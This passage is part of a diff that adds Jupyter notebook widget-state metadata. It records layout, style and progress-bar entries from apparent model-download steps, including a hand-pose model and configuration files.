"model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "03800bb9bc894d2592b3d01036769944": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0383c8a7e3384eec9205dc8f37654ee4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_58c63ae0605a4f1192c52e4306602fd7", + "max": 920, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_55e0a986be424043846c0e863158a1bd", + "value": 920 + } + }, + "058220c3342b49e0bcc1f0973566ac72": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "05ba62113d1840c38f0bcf8f291f7439": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5850294bc56d489cb8eb90483f77254e", + "placeholder": "​", + "style": "IPY_MODEL_9d2061e3643940f496528dc7ad6e6e2e", + "value": "Downloading hand_pose_model.pth: 100%" + } + }, + "069b424c2d3846b8ba69a455dbda1f88": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "06f53eb5d18941d8a947bcb21676e9c7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0762e7a5efb84a4b9bf60c5cf3235671": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "07ad70da82f04e6c8fc64ba90f114d04": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_83067a7d3f454087ac1de91bf17c7339", + "placeholder": "​", + "style": "IPY_MODEL_d2b243b82d0641bc82bcc9500059043d", + "value": "Downloading (…)cheduler_config.json: 100%" + } + }, + "083aa6ce3274445c830c4157dc9ea4be": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_be56ad8a63884a33a22bfb3b39da1cc0", + "IPY_MODEL_83b4c17fa697445f86f7f034fe670934", + "IPY_MODEL_c3dc31d7d2be42be88fe03fa33e5f20d" + ], + "layout": "IPY_MODEL_2c38cd148fe74a5897c3319be42b7d7e" + } + }, + "09441b43551f4e5f9ff77512f59d2f9e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_955af4f359254125801ec776793397e7", + "IPY_MODEL_27f8dc0ef76448be90b004529fa562cf", + "IPY_MODEL_a3f598a48fa448dbb44a40c8c7af85e6" + ], + "layout": "IPY_MODEL_6c353682d9d64022a11f31357816f14d" + } + }, + "0a6ed397228f4a1fafe9dfecc4c39ef6": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0a8a88ac007a41e4b0096fb114fe8a47": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e38139b6898e4897b67aac89ee982c7a", + "placeholder": "​", + "style": "IPY_MODEL_5e144bb789054a88a43db4329bb2df05", + "value": "Downloading (…)rocessor_config.json: 100%" + } + }, + "0af102aac55747fcb8854b8b5ed2dd27": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7b0ece2c75614540a942214d1f527f91", + "placeholder": "​", + "style": "IPY_MODEL_0d3e1914b85047c7af6b6bd4fd94e197", + "value": " 20/20 [00:06<00:00, 4.16it/s]" + } + }, + "0c6beb3311554ae1b3bea23eadf8620d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "0d3e1914b85047c7af6b6bd4fd94e197": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0d45fef5bbf447938e7621e77207e1ae": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0da3c6cd22da482c88af347dcbdf0d8e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "0dc0896c330d417a8b452d27699f86bf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6fbeaf60da4746b6a1c02a211657886b", + "placeholder": "​", + "style": "IPY_MODEL_9d1f8ee81b994f94882d776f6e401f02", + "value": " 209M/209M [00:01<00:00, 157MB/s]" + } + }, + "0e38cf52fb3d40d5a87ec975499ef648": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0ee14dea902c4efe81c616f34dbc7562": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b1659a9d5e294f9bbc1b20e892e16326", + "placeholder": "​", + "style": "IPY_MODEL_308c9dc88e034f4bbcb4ee24628694ba", + "value": "Downloading (…)lve/main/config.json: 100%" + } + }, + "0f796401fadb4649a30effd4c66e058f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "103ffa0973364618b4ce1d5528078062": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "108208309c4b47aa8eee3a1321fc81ed": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_97dcb5d933594743aea62d09aa27d30d", + "placeholder": "​", + "style": "IPY_MODEL_f17e8c0187db4242af4a803aed44fde9", + "value": " 525k/525k [00:00<00:00, 2.39MB/s]" + } + }, + "10ae3f8453744a7e9737a9a0914dfeab": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "10be4b9595c84f36aeab9593e63440e6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_51890b032fbb48139e11d69850a6db57", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_30408dcf6dd14e27bab9cc06cc664c4c", + "value": 20 + } + }, + "10bfbe36a3e24b30a6e300e852ff7811": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6e7d3e445440469baa5aaab1cbbb9291", + "max": 308, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_a3ca3b9ce6b24d43bdf8361379b6d502", + "value": 308 + } + }, + "10f4d1976dc04c3bb651b45c08298fab": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "117ca4fd09bb4ebeb8eae3ba5c3112f5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_52403e4bc442416fac24e0880f2a3faf", + "max": 147341049, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_38eb1d06f0094645944b5d305b575927", + "value": 147341049 + } + }, + "13ccb78b2d7141e1a982a8bea69023d5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_99b1e953ca924df2b6bfb0f9780d2e21", + "IPY_MODEL_57420a6e093c4de9845db953b8e0269b", + "IPY_MODEL_22235d8e342a47059270c8732b889d68" + ], + "layout": "IPY_MODEL_6055afd2e29c42e09d5f923c34cf1579" + } + }, + "13f07d79c96146aaa1d7731526aaec29": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "147cd6ad4d4c4fca82a7a531684ffd2a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4fbfe981703e4365a6e944cb9f3913d5", + "placeholder": "​", + "style": "IPY_MODEL_ce5e2b3caef7421da3383cbdfc5b271f", + "value": "Downloading (…)lve/main/config.json: 100%" + } + }, + "15c1713762124e828b20f54684e496d0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "15ce5867e9ba470b94f0408cfa8236ad": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "15de6a583c5e4525a559749577fd4331": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "161da25b295b4afa8f8b88507818d052": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "16e7c873157c444bb0ca1b92e85b4701": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "173d24393b854ad0a03fd02d56c7d037": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_a33e6193984b46d4bb9b4187d726009e", + "IPY_MODEL_230461cc201f4535a9f9bcf7a3ae7669", + "IPY_MODEL_4900e42f3bfa4a6096b16d47d38687dc" + ], + "layout": "IPY_MODEL_2112261a320b4b9297aa3edc85fa2316" + } + }, + "173d85b54dd4419883fc83cfa2beacc5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "182d76403d844b96bd20c3a7c49b4357": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "183551cc7517479db8e0fffe634f2e6c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": 